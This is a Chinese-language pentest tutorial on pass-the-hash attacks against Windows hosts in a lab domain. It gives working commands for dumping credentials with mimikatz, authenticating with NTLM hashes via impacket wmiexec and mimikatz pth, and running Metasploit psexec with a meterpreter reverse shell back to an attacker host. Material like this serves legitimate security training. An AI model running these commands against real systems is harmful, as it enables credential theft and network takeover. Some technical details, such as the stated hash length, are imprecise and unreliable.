哈希传递
关于哈希传递
哈希传递攻击是一种技术,攻击者无需解密哈希即可获得纯文本密码。PTH攻击利用身份验证协议,因为密码哈希对于每个会话都保持静态,直到密码被转换为止。攻击者通常通过抓取系统的活动内存和其他技术来获取哈希。
kerberos中AS-REQ阶段的Authenticator是由用户密码Hash加密的,如果得到了某台主机的Administrator用户的LM-Hash和NTLM-Hash ,并且该主机的445端口打开着。则可以利用哈希传递。
(注意:只能是administrator用户的LM-Hash和NTLM-hash。其他本地管理员都不行
)
PS:密码Hash中冒号前半段为LM Hash,冒号后半段为NTLM Hash,由于LM Hash算法被弃用,NTLM Hash被用来进行Windows本地及远程身份验证的凭据,长度为32bit、由数字和字母组成。
利用:
域:hiro.com
域控:WIN-KONG@192.168.228.10 域管:administrator
域机器: WINis10@192.168.228.40 本地管理员:administrator,aspnet
在工作组环境中:
只能是administrator
用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator
)也不能使用哈希传递攻击,会提示拒绝访问。
使用wmiexec.py(impacket套件)
先使用mimikatz获取administrator密码hash:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">resuit.txt
使用administrator的hash进行哈希传递:
python3 wmiexec.py -hashes 00000000000000000000000000000000:fe2b69e500ee7324ae4749638074f6fe administrator@192.168.228.40
使用本地管理员aspnet的hash进行哈希传递:(失败
)
python3 wmiexec.py -hashes 00000000000000000000000000000000:e9ff43f2599f4986d362b4203996af5d aspnet@192.168.228.40
使用mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">resuit.txt
sekurlsa::pth /user:administrator /domain:192.168.228.40 /ntlm:e9bf196dc93a1219e3b2e79b1b7aa36e
成功后会自动弹出一个system权限的shell
在域环境中:
只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。
使用wmiexec.py(impacket套件)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">resuit.txt
python3 wmiexec.py -hashes 00000000000000000000000000000000:e9bf196dc93a1219e3b2e79b1b7aa36e administrator@192.168.228.10
使用mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">resuit.txt
sekurlsa::pth /user:administrator /domain:hiro.com /ntlm:e9bf196dc93a1219e3b2e79b1b7aa36e
成功后会自动弹出一个system权限的shell
使用msf
msf进行pth攻击(工作组)
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.228.110
msf exploit(psexec) > set rhost 192.168.228.40
rhost可以是一个主机,也可以设置一个网段。
msf exploit(psexec) > set smbuser Administrator
msf exploit(psexec) > set smbpass 00000000000000000000000000000000:fe2b69e500ee7324ae4749638074f6fe
msf exploit(psexec) > exploit
msf进行哈希传递攻击(域)
当我们获取到了域 管理员组内用户的密码哈希值,并且该主机的445端口打开着,我们则可以利用exploit/windows/smb/psexec用msf进行哈希传递攻击。
msf5 exploit(multi/handler) > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set lhost 192.168.228.110
msf5 exploit(windows/smb/psexec) > set rhost 192.168.228.10
msf5 exploit(windows/smb/psexec) > set smbuser administrator
msf5 exploit(windows/smb/psexec) > set smbpass 00000000000000000000000000000000:e9bf196dc93a1219e3b2e79b1b7aa36e
msf5 exploit(windows/smb/psexec) > exploit
KB2871997补丁的影响
目标主机需要安装KB2871997补丁,且只适用于域环境,而且就算打了这个补丁,administrator(SID=500)这个用户也是可以进行哈希传递的。